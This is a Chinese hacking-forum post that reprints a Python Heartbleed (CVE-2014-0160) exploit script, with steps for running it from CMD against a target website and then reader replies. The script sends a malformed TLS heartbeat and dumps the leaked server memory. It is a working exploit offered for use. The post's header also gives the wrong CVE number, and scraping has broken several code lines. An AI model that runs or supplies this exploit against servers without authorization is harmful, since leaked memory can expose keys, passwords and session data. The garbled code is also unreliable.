Heartbleed心脏出血漏洞利用
#!/usr/bin/python# Quick and dirty demonstration of CVE-2014-0501 by HUC (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server ', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 0390 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 3500 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0dc0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 3200 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 9600 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 1500 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 3400 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 0900 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 1500 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
def hexdump(s):
for b in xrange(0, len(s), 16):
lin = ]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print '%04x: %-48s %s' % (b, hxdat, pdat)
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select(, [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print 'Unexpected EOF receiving record header - server closed connection'
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print 'Unexpected EOF receiving record payload - server closed connection'
return None, None, None
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay
def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print 'No heartbeat response received, server likely not vulnerable'
return False
if typ == 24:
print 'Received heartbeat response:'
hexdump(pay)
if len(pay) > 3:
print 'WARNING: server returned more data than it should - server is vulnerable!'
else:
print 'Server processed malformed heartbeat, but did not return any extra data.'
return True
if typ == 21:
print 'Received alert:'
hexdump(pay)
print 'Server returned error, likely not vulnerable'
return False
def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
sys.stdout.flush()
s.connect((args, opts.port))
print 'Sending Client Hello...'
sys.stdout.flush()
s.send(hello)
print 'Waiting for Server Hello...'
sys.stdout.flush()
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print 'Server closed connection without sending Server Hello.'
return
# Look for server hello done message.
if typ == 22 and ord(pay) == 0x0E:
break
print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(hb)
hit_hb(s)
if __name__ == '__main__':
main()
___________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________
http://huc.yfwn.cn/upFiles/infoImg/2014050260901365.jpg
把代码,复制到txt 改名openssl1.py
http://huc.yfwn.cn/upFiles/infoImg/2014050256316537.jpg
记住路径
http://huc.yfwn.cn/upFiles/infoImg/2014050256339501.jpg
配置环境变量
http://huc.yfwn.cn/upFiles/infoImg/2014050256360857.jpg
打开CMD输入
http://huc.yfwn.cn/upFiles/infoImg/2014050256453513.jpg
回车如果出现下面这行就成功了
http://huc.yfwn.cn/upFiles/infoImg/2014050256496085.jpg
被攻击的网站
http://huc.yfwn.cn/upFiles/infoImg/2014050256476557.jpg
沙发 不错 学习了 板凳 我看不懂额 中文汉化GUI界面版都有了.就不要这么折腾大家了. :o好腻害的样子 这洞现在还能用？ 看不懂 。。。。。
Re: Heartbleed心脏出血漏洞利用
这个脚本是经典的Heartbleed漏洞检测工具，看起来是早期发布的那版。代码清晰易懂，核心就是构造异常心跳请求并检查返回数据。建议使用前确认你拥有目标服务器的测试授权，不然可能涉及法律问题。另外，现在大部分系统早已打过补丁，可能只在老旧设备上有效。Re: Heartbleed心脏出血漏洞利用
感谢分享这个经典的Heartbleed（CVE-2014-0160）漏洞利用脚本。代码结构清晰，使用了原始socket构造ClientHello和Heartbeat请求，并解析响应，很适合用来理解漏洞的基本原理。不过需要提醒一下，这类工具只能在获得明确授权的测试环境或自己的机器上使用，未经允许扫描或攻击他人服务器是违法的。对于学习SSL/TLS协议和内存泄露漏洞的机制来说，这段代码是个不错的参考。Re: Heartbleed心脏出血漏洞利用
感谢分享这个经典的 Heartbleed (CVE-2014-0160) 漏洞测试脚本。代码结构清晰，直接演示了如何构建恶意心跳请求并检测响应，对学习 SSL/TLS 协议及漏洞原理很有帮助。建议仅在授权环境下使用，避免触犯法律。
页:
[1]